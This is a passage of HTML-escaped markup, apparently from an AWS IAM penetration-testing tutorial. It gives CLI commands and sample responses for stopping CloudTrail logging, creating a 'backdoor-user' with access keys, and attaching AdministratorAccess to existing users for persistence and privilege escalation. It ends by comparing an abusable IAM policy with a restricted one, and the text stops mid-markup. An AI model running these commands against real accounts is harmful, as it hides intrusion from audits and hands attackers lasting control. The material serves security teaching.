class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudtrail stop-logging --name default-trail&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Create multiple Access Keys&lt;/strong&gt; (a user can have at most 2 Access Keys):&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam create-access-key --user-name &amp;lt;target-user&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Create a hidden user&lt;/strong&gt; (if you have the &lt;code&gt;iam:CreateUser&lt;/code&gt; permission):&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam create-user --user-name backdoor-user&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam create-access-key --user-name backdoor-user&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Give the new Access Key higher privileges&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam attach-user-policy --user-name &amp;lt;target-user&amp;gt; --policy-arn arn:aws:iam::aws:policy/Admin&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="additional-iam-penetration-techniques"&gt;&lt;a href="#additional-iam-penetration-techniques" class="header-anchor"&gt;&lt;/a&gt;Additional IAM Penetration Techniques&#10;&lt;/h3&gt;&lt;p&gt;According to the outline, we&amp;rsquo;ve finished the four main sections. There are still a few IAM permission-based penetration techniques left, though. They aren&amp;rsquo;t difficult, so I&amp;rsquo;m including them as a supplement. There is no need to set up another environment. If you&amp;rsquo;ve mastered the four sections above, remembering the commands below should be enough to understand how they work.&lt;/p&gt;&#10;&lt;h4 id="iamcreateuser-creating-a-new-iam-user"&gt;&lt;a href="#iamcreateuser-creating-a-new-iam-user" class="header-anchor"&gt;&lt;/a&gt;&lt;code&gt;iam:CreateUser&lt;/code&gt; (Creating a New IAM User)&#10;&lt;/h4&gt;&lt;p&gt;Concept&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: Allows the creation of new IAM users and can be used as a &lt;strong&gt;persistent backdoor&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Risk&lt;/strong&gt;: An attacker can create a new administrator account. Even if an administrator deletes the other credentials, the attacker can still access AWS.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;Create a new IAM user&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam create-user --user-name backdoor-user&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Example response:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;User&amp;#34;: {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Path&amp;#34;: &amp;#34;/&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;UserName&amp;#34;: &amp;#34;backdoor-user&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;UserId&amp;#34;: &amp;#34;AIDAEXAMPLE&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Arn&amp;#34;: &amp;#34;arn:aws:iam::123456789012:user/backdoor-user&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;CreateDate&amp;#34;: &amp;#34;2025-03-06T12:34:56Z&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;(2) Create an Access Key for the new user&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam create-access-key --user-name backdoor-user&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Response:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;AccessKey&amp;#34;: {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;UserName&amp;#34;: &amp;#34;backdoor-user&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;AccessKeyId&amp;#34;: &amp;#34;AKIAEXAMPLE&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SecretAccessKey&amp;#34;: &amp;#34;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Status&amp;#34;: &amp;#34;Active&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;CreateDate&amp;#34;: &amp;#34;2025-03-06T12:34:56Z&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;(3) Attach a highly privileged role (if&lt;/strong&gt; &lt;code&gt;iam:PassRole&lt;/code&gt; &lt;strong&gt;is also allowed)&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam attach-user-policy --user-name backdoor-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;(4) Log in to AWS with the new Access Key&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws configure set aws_access_key_id AKIAEXAMPLE&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws configure set aws_secret_access_key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Then test the permissions:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws sts get-caller-identity&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;If it returns:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;UserId&amp;#34;: &amp;#34;AIDAEXAMPLE&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Account&amp;#34;: &amp;#34;123456789012&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Arn&amp;#34;: &amp;#34;arn:aws:iam::123456789012:user/backdoor-user&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="iamattachuserpolicy-attaching-a-high-privilege-policy-to-a-low-privilege-user"&gt;&lt;a href="#iamattachuserpolicy-attaching-a-high-privilege-policy-to-a-low-privilege-user" class="header-anchor"&gt;&lt;/a&gt;&lt;code&gt;iam:AttachUserPolicy&lt;/code&gt; (Attaching a High-Privilege Policy to a Low-Privilege User)&#10;&lt;/h4&gt;&lt;p&gt;Concept&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: Allows a &lt;strong&gt;new permission policy to be attached&lt;/strong&gt; to an existing IAM user, such as turning a low-privilege user into an administrator.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Risk&lt;/strong&gt;: An attacker can find an existing IAM user, quietly attach &lt;code&gt;AdministratorAccess&lt;/code&gt; to it, and then use that account to perform high-privilege operations.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;(1) List all users in the current AWS account&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-users&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Example response:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Users&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;UserName&amp;#34;: &amp;#34;developer&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Arn&amp;#34;: &amp;#34;arn:aws:iam::123456789012:user/developer&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; },&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;UserName&amp;#34;: &amp;#34;test-user&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Arn&amp;#34;: &amp;#34;arn:aws:iam::123456789012:user/test-user&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;(2) Attach&lt;/strong&gt; &lt;code&gt;AdministratorAccess&lt;/code&gt; &lt;strong&gt;to&lt;/strong&gt; &lt;code&gt;developer&lt;/code&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam attach-user-policy --user-name developer --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;(3) Verify whether&lt;/strong&gt; &lt;code&gt;developer&lt;/code&gt; &lt;strong&gt;has obtained elevated privileges&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-attached-user-policies --user-name developer&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Response:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;AttachedPolicies&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyName&amp;#34;: &amp;#34;AdministratorAccess&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;PolicyArn&amp;#34;: &amp;#34;arn:aws:iam::aws:policy/AdministratorAccess&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Now &lt;code&gt;developer&lt;/code&gt; is an administrator.&lt;/p&gt;&#10;&lt;p&gt;To briefly sum up the permissions in these two sections: creating a user is about persistence, while granting permissions is about privilege escalation. If you look closely, the two overlap. The idea itself is easy enough to understand. The main point worth discussing is &lt;code&gt;iam:AttachUserPolicy&lt;/code&gt;: if you have this permission, can you elevate any role or user? The answer depends on the exact configuration. If you&amp;rsquo;re interested, try experimenting with inline policies. Below are an unrestricted policy, which can attach any managed policy, and a restricted policy, which can attach only the specified policy.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Abusable policy&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Action&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;iam:CreateUser&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;iam:AttachUserPolicy&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ],&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Resource&amp;#34;: &amp;#34;*&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Restricted policy&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Action&amp;#34;: &amp;#34;iam:AttachUserPolicy&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 